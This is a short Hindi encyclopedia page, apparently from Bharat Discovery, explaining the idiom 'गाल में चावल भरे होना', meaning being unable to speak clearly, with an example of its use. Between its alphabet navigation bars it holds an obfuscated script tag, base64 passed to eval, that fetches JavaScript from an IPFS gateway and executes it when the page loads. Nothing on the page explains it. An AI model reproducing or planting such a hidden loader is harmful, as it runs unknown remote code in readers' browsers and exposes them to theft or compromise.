गाल में चावल भरे होना  

गाल में चावल भरे होना एक प्रचलित लोकोक्ति अथवा हिन्दी मुहावरा है।

अर्थ- मुँह से ठीक तरह बात न निकलना।

प्रयोग- अरे उस व्यक्ति के मुँह में मानों जैसे हमेशा ही 'चावल भरे रहते' हैं। उसके मुँह से निकला हुआ एक भी शब्द समझ ही नहीं आता।


टीका टिप्पणी और संदर्भ

संबंधित लेख

कहावत लोकोक्ति मुहावरे वर्णमाला क्रमानुसार खोजें

                              अं                                                                                              क्ष    त्र    श्र

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

वर्णमाला क्रमानुसार लेख खोज

                              अं                                                                                                       क्ष    त्र    ज्ञ             श्र   अः



"https://amp.bharatdiscovery.org/w/index.php?title=गाल_में_चावल_भरे_होना&oldid=625924" से लिया गया